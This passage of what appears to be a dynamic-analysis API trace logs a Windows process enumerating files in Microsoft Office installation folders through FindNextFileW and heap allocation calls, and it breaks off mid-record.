(HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1208 [0089.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fc28 [0089.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.030] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x37b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUCRES.DLL", cAlternateFileName="")) returned 1 [0089.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.031] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.INTL.DLL", cAlternateFileName="")) returned 1 [0089.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.032] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f1e580, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x5f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVBRES.DLL", cAlternateFileName="")) returned 1 [0089.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.034] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6980, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVC60R.DLL", cAlternateFileName="")) returned 1 [0089.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.035] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVSUI.DLL", cAlternateFileName="")) returned 1 [0089.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.037] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f047000, ftCreationTime.dwHighDateTime=0x1c3143b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f047000, ftLastWriteTime.dwHighDateTime=0x1c3143b, nFileSizeHigh=0x0, nFileSizeLow=0x411f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAOWS10.CHM", cAlternateFileName="")) returned 1 [0089.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1228 [0089.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0089.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.038] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0xa2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0089.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0xa2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 0 [0089.040] GetLastError () returned 0x12 [0089.040] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.040] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb59f00, ftCreationTime.dwHighDateTime=0x1cb7019, ftLastAccessTime.dwLowDateTime=0xba6a7220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfeb59f00, ftLastWriteTime.dwHighDateTime=0x1cb7019, nFileSizeHigh=0x0, nFileSizeLow=0x864b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff6a5200, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x19b36970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff6a5200, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x19f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCLTINT.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83bac00, ftCreationTime.dwHighDateTime=0x1c650be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83bac00, ftLastWriteTime.dwHighDateTime=0x1c650be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSHLP10.CHM", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x37b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUCRES.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.INTL.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f1e580, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x5f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVBRES.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6980, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVC60R.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVSUI.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f047000, ftCreationTime.dwHighDateTime=0x1c3143b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f047000, ftLastWriteTime.dwHighDateTime=0x1c3143b, nFileSizeHigh=0x0, nFileSizeLow=0x411f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAOWS10.CHM", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0xa2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0089.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0xa2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 0 [0089.040] GetLastError () returned 0x12 [0089.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.041] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd50800, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x219f7cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fd50800, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xd388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67b88000, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x21b02690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67b88000, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xdf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8cd1e00, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd2e133c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8cd1e00, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x14768, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7c7400, ftCreationTime.dwHighDateTime=0x1cbc9fa, ftLastAccessTime.dwLowDateTime=0xadbb9ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb7c7400, ftLastWriteTime.dwHighDateTime=0x1cbc9fa, nFileSizeHigh=0x0, nFileSizeLow=0x406590, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a783200, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xae0eeec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5a783200, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x2ff60, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930ea300, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadda9080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x930ea300, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x62978, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4e2500, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x21ccb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf4e2500, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x13180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994dc00, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x21cf1870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2994dc00, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x11580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae1d400, ftCreationTime.dwHighDateTime=0x1cb7015, ftLastAccessTime.dwLowDateTime=0xadc06160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ae1d400, ftLastWriteTime.dwHighDateTime=0x1cb7015, nFileSizeHigh=0x0, nFileSizeLow=0x14d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2deba300, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2deba300, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703f00, ftCreationTime.dwHighDateTime=0x1ca9139, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x703f00, ftLastWriteTime.dwHighDateTime=0x1ca9139, nFileSizeHigh=0x0, nFileSizeLow=0x21180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf08900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcbf08900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x59e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPSPWRAP.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x597a6090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e19db00, ftCreationTime.dwHighDateTime=0x1cb701d, ftLastAccessTime.dwLowDateTime=0xade41600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e19db00, ftLastWriteTime.dwHighDateTime=0x1cb701d, nFileSizeHigh=0x0, nFileSizeLow=0x3e380, 